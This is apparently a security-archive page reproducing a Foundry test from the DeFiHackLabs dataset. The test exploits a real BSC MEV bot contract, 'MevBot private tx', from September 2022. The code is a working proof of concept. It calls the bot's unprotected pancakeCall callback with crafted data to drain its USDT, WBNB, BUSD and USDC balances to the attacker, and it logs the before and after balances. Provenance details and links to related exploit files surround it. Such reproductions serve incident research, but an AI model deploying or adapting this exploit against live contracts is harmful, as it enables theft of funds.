Public reproduction file
src/test/2022-09/BNB48MEVBot_exp.sol
Public reproduction file for dataset entry MevBot private tx.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "./../interface.sol";6interface MEVBot {7 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;8}10contract ContractTest is Test {11 address public _token0;12 address public _token1;13 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);14 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);15 IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);16 IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);17 MEVBot Bot = MEVBot(0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d);18 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);20 function setUp() public {21 cheats.createSelectFork("bsc", 21_297_409);22 }24 function testExploit() public {25 emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);26 emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18);27 emit log_named_decimal_uint("[Start] Attacker BUSD balance before exploit", BUSD.balanceOf(address(this)), 18);28 emit log_named_decimal_uint("[Start] Attacker USDC balance before exploit", USDC.balanceOf(address(this)), 18);30 uint256 USDTAmount = USDT.balanceOf(address(Bot));31 uint256 WBNBAmount = WBNB.balanceOf(address(Bot));32 uint256 BUSDAmount = BUSD.balanceOf(address(Bot));33 uint256 USDCAmount = USDC.balanceOf(address(Bot));35 (_token0, _token1) = (address(USDT), address(USDT));36 Bot.pancakeCall(37 address(this), USDTAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))38 );39 (_token0, _token1) = (address(WBNB), address(WBNB));40 Bot.pancakeCall(41 address(this), WBNBAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))42 );43 (_token0, _token1) = (address(BUSD), address(BUSD));44 Bot.pancakeCall(45 address(this), BUSDAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))46 );47 (_token0, _token1) = (address(USDC), address(USDC));48 Bot.pancakeCall(49 address(this), USDCAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))50 );52 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);53 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);54 emit log_named_decimal_uint("[End] Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), 18);55 emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 18);56 }58 function token0() public view returns (address) {59 return _token0;60 }62 function token1() public view returns (address) {63 return _token1;64 }66 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) public {}67}Analysis
Dataset entry
Public Foundry test for “MevBot private tx” (2022-09-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-09/BadGuysbyRPF_exp.solSame month in the dataset · 63 lines
- src/test/2022-09/BXH_exp.solSame month in the dataset · 313 lines
- src/test/2022-09/DPC_exp.solSame month in the dataset · 102 lines
- src/test/2022-09/MEVbadc0de_exp.solSame month in the dataset · 186 lines
- src/test/2022-09/NewFreeDAO_exp.solSame month in the dataset · 573 lines
- src/test/2022-09/NXUSD_exp.solSame month in the dataset · 155 lines
- src/test/2022-09/RADT_exp.solSame month in the dataset · 67 lines
- src/test/2022-09/ROI_exp.solSame month in the dataset · 297 lines
- src/test/2022-09/Shadowfi_exp.solSame month in the dataset · 61 lines
- src/test/2022-09/THB_exp.solSame month in the dataset · 91 lines
- src/test/2022-09/Yyds_exp.solSame month in the dataset · 61 lines
- src/test/2022-09/ZoomproFinance_exp.solSame month in the dataset · 100 lines
- src/test/2023-11/bot_exp.solSame protocol or name in the dataset · 123 lines
- src/test/2022-12/MEVbot_0x28d9_exp.solSame protocol or name in the dataset · 44 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame protocol or name in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame protocol or name in the dataset · 188 lines
- src/test/2024-07/MEVbot_0xdd7c_exp.solSame protocol or name in the dataset · 128 lines
- src/test/2022-10/MEVa47b_exp.solSame protocol or name in the dataset · 126 lines
File record
- Name
- MevBot private tx
- Path
- src/test/2022-09/BNB48MEVBot_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b13b9423e0e25acb6b945568815f56ac8ce11b02
- Language
- Solidity
- Size
- 68 lines
- Date
- 2022-09-13
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-09/BNB48MEVBot_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b13b9423e0e25acb6b945568815f56ac8ce11b02, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.